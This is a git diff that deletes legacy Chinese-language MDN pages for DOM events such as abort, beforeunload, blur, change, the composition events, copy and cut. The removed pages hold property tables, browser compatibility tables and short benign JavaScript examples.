+ + + +

虚拟现实(VR)

+ + + +

CSS

+ + + +

旧项目:

+ + + +

变换

+ + + +

游戏

+ + + +

Web API

+ +
    +
+ +

通知 API

+ + + +
    +
+ +

网络音频 API

+ + + +

文件 API

+ + + +

其他

+ + diff --git a/files/zh-cn/web/events/abort/index.html b/files/zh-cn/web/events/abort/index.html deleted file mode 100644 index 9a233b4d80..0000000000 --- a/files/zh-cn/web/events/abort/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: abort -slug: Web/Events/abort -tags: - - abort -translation_of: Web/API/HTMLMediaElement/abort_event -translation_of_original: Web/Events/abort ---- -

当一个资源的加载已中止时,将触发 abort事件。

- -
-

译者注:这个事件只在 IE 支持,试了最新的 Chrome、FireFox、Safari 都不支持。

-
- -

常规信息

- -
-
规范
-
DOM L3
-
接口
-
从UI组件产生为UIEvent , 否则为Event .
-
是否冒泡
-
-
可取消默认行为
-
-
目标对象
-
元素(Element)
-
默认行为
-
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
view {{readonlyInline}}WindowProxydocument.defaultView (该文档的window对象 )
detail {{readonlyInline}}long (float)0.
diff --git a/files/zh-cn/web/events/afterprint/index.html b/files/zh-cn/web/events/afterprint/index.html deleted file mode 100644 index 3ee72441cd..0000000000 --- a/files/zh-cn/web/events/afterprint/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: afterprint -slug: Web/Events/afterprint -translation_of: Web/API/Window/afterprint_event ---- -

在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

- -

基本信息

- -
-
Specification
-
HTML5
-
Interface
-
Event
-
Bubbles
-
No
-
Cancelable
-
No
-
Target
-
DefaultView (<window>)
-
Default Action
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

例子

- -

使用 addEventListener():

- -
window.addEventListener('afterprint', (event) => {
-  console.log('After print');
-});
- -

使用 onafterprint 时间监听属性:

- -
window.onafterprint = (event) => {
-  console.log('After print');
-};
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-afterprint')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Window.afterprint_event")}}

- -

相关事件

- - diff --git a/files/zh-cn/web/events/afterscriptexecute/index.html b/files/zh-cn/web/events/afterscriptexecute/index.html deleted file mode 100644 index b2f4f0d980..0000000000 --- a/files/zh-cn/web/events/afterscriptexecute/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Element:afterscriptexecute 事件 -slug: Web/Events/afterscriptexecute -tags: - - 事件 - - 参考 - - 非标准 -translation_of: Web/API/Element/afterscriptexecute_event ---- -
{{APIRef}}
- -
{{Non-standard_header}}
- -
-

此事件是早期版本的规范中的一个提案。不要依赖它。

-
- -

afterscriptexecute 事件在一个脚本执行完毕后触发。

- -

这是一个 Gecko(Firefox)特有的私有事件。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
- -

规范

- -

不属于任何规范。

- -

浏览器兼容性

- - - -

{{Compat("api.Element.afterscriptexecute_event")}}

- -

参见

- - diff --git a/files/zh-cn/web/events/animationend/index.html b/files/zh-cn/web/events/animationend/index.html deleted file mode 100644 index cb701ac392..0000000000 --- a/files/zh-cn/web/events/animationend/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: animationend -slug: Web/Events/animationend -tags: - - Animation - - AnimationEvent - - CSS Animations - - CSS3 Animations - - Event - - Reference - - animationend -translation_of: Web/API/HTMLElement/animationend_event ---- -

animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

- -

常规信息

- -
-
规范
-
{{SpecName("CSS3 Animations")}}
-
接口
-
{{domxref("AnimationEvent")}}
-
是否冒泡
-
-
事件可取消
-
-
目标
-
{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}
-
默认行为
-
-
- -

属性表

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件目标(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积,动画总活动的时长。
- -

相关事件

- -
    -
  • {{Event("animationstart")}}
  • -
  • {{Event("animationiteration")}}
  • -
  • {{Event("animationcancel")}}
  • -
- -

参见

- - diff --git a/files/zh-cn/web/events/animationstart/index.html b/files/zh-cn/web/events/animationstart/index.html deleted file mode 100644 index 53929bfb0d..0000000000 --- a/files/zh-cn/web/events/animationstart/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: animationstart -slug: Web/Events/animationstart -tags: - - Animation - - AnimationEvent - - CSS Animations - - CSS3 Animations - - Event - - Reference - - animationstart -translation_of: Web/API/HTMLElement/animationstart_event ---- -

animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

- -

基本信息

- -
-
规格
-
CSS Animations
-
接口
-
AnimationEvent
-
是否冒泡
-
-
事件可取消
-
-
目标
-
Document, Element
-
默认行为
-
-
- -

属性表

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件来源(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。此值应为 0 除非 animation-delay 是一个负值,这种情况下此值为 (-1 * {{cssxref("animation-delay")}}),并且动画将直接从此值后的序列开始播放。
- -

相关事件

- -
    -
  • {{Event("animationstart")}}
  • -
  • {{Event("animationend")}}
  • -
  • {{Event("animationiteration")}}
  • -
- -

另请参阅

- - diff --git a/files/zh-cn/web/events/beforeprint/index.html b/files/zh-cn/web/events/beforeprint/index.html deleted file mode 100644 index fe9480238a..0000000000 --- a/files/zh-cn/web/events/beforeprint/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: beforeprint -slug: Web/Events/beforeprint -translation_of: Web/API/Window/beforeprint_event ---- -

当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

- -

基本信息

- -
-
Specification
-
HTML5
-
Interface
-
Event
-
Bubbles
-
No
-
Cancelable
-
No
-
Target
-
DefaultView (<window>)
-
Default Action
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标 (DOM 树中的最顶层目标)
type {{readonlyInline}}{{domxref("DOMString")}}时间类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
- -

样例

- -

使用 addEventListener()

- -
window.addEventListener('beforeprint', (event) => {
-  console.log('Before print');
-});
- -

使用 onbeforeprint 事件监听属性:

- -
window.onbeforeprint = (event) => {
-  console.log('Before print');
-};
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-beforeprint')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Window.beforeprint_event")}}

- -

相关事件

- - diff --git a/files/zh-cn/web/events/beforescriptexecute/index.html b/files/zh-cn/web/events/beforescriptexecute/index.html deleted file mode 100644 index 00aa4120c1..0000000000 --- a/files/zh-cn/web/events/beforescriptexecute/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Element:beforescriptexecute 事件 -slug: Web/Events/beforescriptexecute -tags: - - DOM - - 参考 - - 非标准 -translation_of: Web/API/Element/beforescriptexecute_event ---- -
{{APIRef}}
- -
{{Non-standard_header}}
- -
-

此事件是早期版本的规范中的一个提案。不要依赖它。

-
- -

beforescriptexecute 事件在一个脚本被执行前触发,取消此事件可以阻止该脚本的执行。

- -

这是一个 Gecko(Firefox)特有的私有事件。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
- -

规范

- -

不属于任何规范。

- -

浏览器兼容性

- - - -

{{Compat("api.Element.beforescriptexecute_event")}}

- -

参见

- - diff --git a/files/zh-cn/web/events/beforeunload/index.html b/files/zh-cn/web/events/beforeunload/index.html deleted file mode 100644 index 9cef2f2cfc..0000000000 --- a/files/zh-cn/web/events/beforeunload/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: 'Window: beforeunload event' -slug: Web/Events/beforeunload -tags: - - Event - - Window - - beforeunload - - 事件 - - 参考 -translation_of: Web/API/Window/beforeunload_event ---- -

当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableYes
Interface{{domxref("Event")}}
Event handler property{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
- -

事件使网页能够触发一个确认对话框,询问用户是否真的要离开该页面。如果用户确认,浏览器将导航到新页面,否则导航将会取消。

- -

根据规范,要显示确认对话框,事件处理程序需要在事件上调用{{domxref("Event.preventDefault()", "preventDefault()")}}。

- -

但是请注意,并非所有浏览器都支持此方法,而有些浏览器需要事件处理程序实现两个遗留方法中的一个作为代替:

- -
    -
  • 将字符串分配给事件的returnValue属性
  • -
  • -

    从事件处理程序返回一个字符串。

    -
  • -
- -

某些浏览器过去在确认对话框中显示返回的字符串,从而使事件处理程序能够向用户显示自定义消息。但是,此方法已被弃用,并且在大多数浏览器中不再支持。

- -

为避免意外弹出窗口,除非页面已与之交互,否则浏览器可能不会显示在beforeunload事件中创建的提示,甚至根本不会显示它们。

- -

将事件处理程序/监听器加到window或 documentbeforeunload事件后,将阻止浏览器使用内存中的页面导航缓存,例如Firefox的Back-Forward缓存WebKit的Page Cache

- -

HTML规范指出在此事件中调用{{domxref("window.alert()")}},{{domxref("window.confirm()")}}以及{{domxref("window.prompt()")}}方法,可能会失效。更多详细信息,请参见HTML规范

- -

示例

- -

HTML规范指出作者应该使用 {{domxref("Event.preventDefault()")}} 而非 {{domxref("Event.returnValue")}},然而,不是所有浏览器都支持这么做。

- -
window.addEventListener('beforeunload', (event) => {
-  // Cancel the event as stated by the standard.
-  event.preventDefault();
-  // Chrome requires returnValue to be set.
-  event.returnValue = '';
-});
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.Window.beforeunload_event")}}

- -

参阅

- - diff --git a/files/zh-cn/web/events/blur/index.html b/files/zh-cn/web/events/blur/index.html deleted file mode 100644 index a57cc5b995..0000000000 --- a/files/zh-cn/web/events/blur/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: blur (event) -slug: Web/Events/blur -translation_of: Web/API/Element/blur_event ---- -

当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

- -

常规信息

- -
-
规范
-
DOM L3
-
接口
-
{{domxref("FocusEvent")}}
-
是否冒泡
-
-
可取消默认行为
-
-
目标对象
-
元素(Element)
-
默认行为
-
-
- -

{{NoteStart}}{{domxref("Document.activeElement")}} 的值随浏览器的不同而不同 ({{bug(452307)}}): IE10把值设为焦点将要移向的对象 , 而Firefox和Chrome 往往把值设为body .{{NoteEnd}}

- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM 元素)
- -

事件代理

- -

有两种方法来为这个事件实现事件代理:在支持 focusout 事件的浏览器中使用 focusout 事件(除了 FireFox 以外的浏览器都支持 focusout)或者通过设置 addEventListener 方法的第三个参数 "useCapture" 为 true:

- -

HTML Content

- -
<form id="form">
-  <input type="text" placeholder="text input">
-  <input type="password" placeholder="password">
-</form>
- -

JavaScript Content

- -
var form = document.getElementById("form");
-form.addEventListener("focus", function( event ) {
-  event.target.style.background = "pink";
-}, true);
-form.addEventListener("blur", function( event ) {
-  event.target.style.background = "";
-}, true);
- -

{{EmbedLiveSample('Event_delegation')}}

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatVersionUnknown}}[1]612.15.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.053{{CompatUnknown}}10.012.15.1
-
- -

[1] 在 Gecko 24 {{geckoRelease(24)}} 之前,事件的接口为 {{domxref("Event")}},而不是 {{domxref("FocusEvent")}}。参考 ({{bug(855741)}}).

- -

相关的事件

- -
    -
  • {{event("focus")}}
  • -
  • {{event("blur")}}
  • -
  • {{event("focusin")}}
  • -
  • {{event("focusout")}}
  • -
diff --git a/files/zh-cn/web/events/change/index.html b/files/zh-cn/web/events/change/index.html deleted file mode 100644 index 6a997fc430..0000000000 --- a/files/zh-cn/web/events/change/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: change -slug: Web/Events/change -tags: - - Change - - HTML - - HTML DOM - - HTMLElement - - change vs. input - - 事件 - - 参考 -translation_of: Web/API/HTMLElement/change_event ---- -

{{APIRef}}

- -

当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时,change 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样,change 事件并不是每次元素的 value 改变时都会触发。

- - - - - - - - - - - - - - - - - - - - -
冒泡
可取消
接口{{domxref("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers/onchange", "onchange")}}
- -

基于表单元素的类型和用户对标签的操作的不同,change 事件触发的时机也不同:

- -
    -
  • 当元素是 :checked 状态时(通过点击或者使用键盘),见于 {{HTMLElement('input/radio', '<input type="radio">')}} 和 {{HTMLElement('input/checkbox', '<input type="checkbox">')}}
  • -
  • 当用户显式提交改变时(例如:点击了 {{HTMLElement("select")}}中的一个选项,从 {{HTMLElement('input/date', '<input type="date">')}} 标签选择了一个日期,通过 {{HTMLElement('input/file', '<input type="file">')}} 标签上传了一个文件等);
  • -
  • 当标签的值被修改并且失去焦点后,但未提交时(例如:对{{HTMLElement("textarea")}} 或者 {{HTMLElement('input/text', '<input type="text">')}}的值进行编辑后)。
  • -
- -

示例

- -

<select> 元素

- -

HTML

- -
<label>Choose an ice cream flavor:
-  <select class="ice-cream" name="ice-cream">
-    <option value="">Select One …</option>
-    <option value="chocolate">Chocolate</option>
-    <option value="sardine">Sardine</option>
-    <option value="vanilla">Vanilla</option>
-  </select>
-</label>
-
-<div class="result"></div>
- -
body {
-  display: grid;
-  grid-template-areas: "select result";
-}
-
-select {
-  grid-area: select;
-}
-
-.result {
-  grid-area: result;
-}
-
- -

JavaScript

- -
const selectElement = document.querySelector('.ice-cream');
-
-selectElement.addEventListener('change', (event) => {
-  const result = document.querySelector('.result');
-  result.textContent = `You like ${event.target.value}`;
-});
-
- -

结果

- - - -

文本输入元素

- -

对于一些元素,包括 <input type="text">change 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字,然后点击输入框外的地方来触发事件。

- -

HTML

- -
<input placeholder="Enter some text" name="name"/>
-<p id="log"></p>
- -

JavaScript

- -
const input = document.querySelector('input');
-const log = document.getElementById('log');
-
-input.addEventListener('change', updateValue);
-
-function updateValue(e) {
-  log.textContent = e.target.value;
-}
- -

结果

- - - -

浏览器兼容性

- -

{{Compat("api.GlobalEventHandlers.onchange")}}

- -

对于一些特定类型的交互是否要触发 change 事件,不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 change 事件,直到用户按下 Enter 键或将焦点从 <select> 上移走(参见 {{bug("126379")}})。但从 Firefox 63(Quantum)开始,这个行为在已经在主流浏览器中达成一致。

- -

参见

- -

{{domxref("NetworkInformation.connection")}} fires the change event when the connection information changes.

diff --git a/files/zh-cn/web/events/compositionend/index.html b/files/zh-cn/web/events/compositionend/index.html deleted file mode 100644 index 4a023fc0e5..0000000000 --- a/files/zh-cn/web/events/compositionend/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: compositionend -slug: Web/Events/compositionend -tags: - - 事件 -translation_of: Web/API/Element/compositionend_event ---- -

当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableYes
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
- -

Properties

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}聚焦元素处理成分
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否冒泡
cancelable {{ReadOnlyInline}}boolean是否可以取消该事件
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (window of the document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)正在编辑的原始字符串, 否则为空字符串。只读。
locale{{domxref("DOMString")}} (string)组合事件的语言代码 (如果可用);否则, 为空字符串。只读。
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
-
- -

[1] 该事件是在9.0 之前的Gecko版本中已经可以使用, 但没有 DOM 级3属性和方法。Gecko还不支持给受信任事件的locale属性设置值。但是, 当创建不受信任的事件时,此值可以通过initCompositionEvent() 设置。

- - - -
    -
  • {{Event("compositionstart")}}
  • -
  • {{Event("compositionupdate")}}
  • -
diff --git a/files/zh-cn/web/events/compositionstart/index.html b/files/zh-cn/web/events/compositionstart/index.html deleted file mode 100644 index 71aa9f1f0d..0000000000 --- a/files/zh-cn/web/events/compositionstart/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: compositionstart -slug: Web/Events/compositionstart -tags: - - Element - - Event - - Input method - - compositionstart - - 事件 - - 参考 -translation_of: Web/API/Element/compositionstart_event ---- -

文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

- -

例如,当用户使用拼音输入法开始输入汉字时,这个事件就会被触发。

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableYes
Interface{{domxref("CompositionEvent")}}
Event handler property - - - - - - -
None
-
- -

示例

- -
const inputElement = document.querySelector('input[type="text"]');
-
-inputElement.addEventListener('compositionstart', (event) => {
-  console.log(`generated characters were: ${event.data}`);
-});
- -

动态演示

- -

HTML

- -
<div class="control">
-  <label for="name">On macOS, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label>
-  <input type="text" id="example" name="example">
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
-  <button class="clear-log">Clear</button>
-</div>
- -

CSS

- -
body {
-  padding: .2rem;
-  display: grid;
-  grid-template-areas: "control  log";
-}
-
-.control {
-  grid-area: control;
-}
-
-.event-log {
-  grid-area: log;
-}
-
-.event-log-contents {
-  resize: none;
-}
-
-label, button {
-  display: block;
-}
-
-input[type="text"] {
-  margin: .5rem 0;
-}
-
-kbd {
-  border-radius: 3px;
-  padding: 1px 2px 0;
-  border: 1px solid black;
-}
-
- -

JS

- -
const inputElement = document.querySelector('input[type="text"]');
-const log = document.querySelector('.event-log-contents');
-const clearLog = document.querySelector('.clear-log');
-
-clearLog.addEventListener('click', () => {
-    log.textContent = '';
-});
-
-function handleEvent(event) {
-    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
-}
-
-inputElement.addEventListener('compositionstart', handleEvent);
-inputElement.addEventListener('compositionupdate', handleEvent);
-inputElement.addEventListener('compositionend', handleEvent);
-
- -

结果

- -

- -

规范

- - - - - - - - - - - - - - -
规范状态
{{SpecName('UI Events', '#event-type-compositionstart')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- -

{{Compat("api.Element.compositionstart_event")}}

- -

参见

- -
    -
  • 相关事件:{{domxref("Element/compositionend_event", "compositionend")}}, {{domxref("Element/compositionupdate_event", "compositionupdate")}}.
  • -
diff --git a/files/zh-cn/web/events/compositionupdate/index.html b/files/zh-cn/web/events/compositionupdate/index.html deleted file mode 100644 index 11952af506..0000000000 --- a/files/zh-cn/web/events/compositionupdate/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: compositionupdate -slug: Web/Events/compositionupdate -translation_of: Web/API/Element/compositionupdate_event ---- -

compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

- - - - - - - - - - - - - - - - - - - - -
BubblesYes
CancelableNo
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}焦点所在的,处理文字输入的元素。
type {{ReadOnlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{ReadOnlyInline}}booleanDoes the event normally bubble?
cancelable {{ReadOnlyInline}}booleanIs it possible to cancel the event?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (the window of the document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)要被替换掉的字符串,如果输入时没有字符串被选,则为空字符串。只读。
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)输入事件的语言代号,或者空字符串。只读。
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] 在 compositionstart 事件之后不会立即执行。

- -

[2] compositionupdate 事件在编辑器里的内容改变之前就会触发。自从 Gecko 12.0 {{geckoRelease("12.0")}} 开始 input 事件在输入过程中、内容变化后就触发。使用它可以在输入过程中就获得新的内容。

- -

Gecko 在可信事件(trusted events)中还不支持 locale 属性。但是开发者可以在使用 initCompositionEvent() 创建不可信事件时指定一个值。

- -

参阅

- -
    -
  • {{Event("compositionstart")}}
  • -
  • {{Event("compositionupdate")}}
  • -
  • {{Event("compositionend")}}
  • -
diff --git a/files/zh-cn/web/events/copy/index.html b/files/zh-cn/web/events/copy/index.html deleted file mode 100644 index ac249f5055..0000000000 --- a/files/zh-cn/web/events/copy/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: copy -slug: Web/Events/copy -tags: - - Clipboard API - - Event - - Reference -translation_of: Web/API/Element/copy_event ---- -

当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

- -

基本信息

- -
-
Specification
-
Clipboard
-
Interface
-
{{domxref("ClipboardEvent")}}
-
Bubbles
-
Yes
-
Cancelable
-
Yes
-
Target
-
{{domxref("Element")}}:获得焦点的元素(如{{domxref("HTMLElement.contentEditable","contentEditable")}}内容能编辑或者可以选中的元素),或{{HTMLElement("body")}}。
-
Default Action
-
见下文。
-
- -

调用{{domxref("DataTransfer.setData","setData(format, data)")}}可以修改{{domxref("ClipboardEvent.clipboardData")}}事件的默认行为:

- -
document.addEventListener('copy', function(e){
-    e.clipboardData.setData('text/plain', 'Hello, world!');
-    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
-    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
-});
- -

不能使用{{domxref("DataTransfer.getData", "clipboardData.getData()")}}在事件处理函数中获取剪切板数据。

- -

事件的默认行为与事件的来源和事件处理函数相关:

- -
    -
  • synthetic copy事件没有默认行为,除非:
  • -
  • 如果默认事件没有取消,就复制到选区(如果有选中内容)到剪切板;
  • -
  • 如果取消了默认事件,但是调用了setData()方法:就复制clipboardData的内容到到剪切板;
  • -
  • 如果取消了默认行为,而且没有调用setData()方法,就没有任何行为。
  • -
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

参见

- -
    -
  • {{domxref("HTMLElement.oncopy")}}
  • -
  • Related events -
      -
    • {{event("cut")}}
    • -
    • {{event("paste")}}
    • -
    -
  • -
diff --git a/files/zh-cn/web/events/cut/index.html b/files/zh-cn/web/events/cut/index.html deleted file mode 100644 index 48c024451a..0000000000 --- a/files/zh-cn/web/events/cut/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: cut -slug: Web/Events/cut -tags: - - 事件 - - 剪贴板API - - 参考 -translation_of: Web/API/Element/cut_event ---- -
-

This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

-
- -

cut 事件在将选中内容从文档中删除并将其添加到剪贴板后触发。

- -

如果用户尝试对不可编辑内容执行剪切操作,则cut事件仍会触发,但事件对象不包含任何数据。

- -
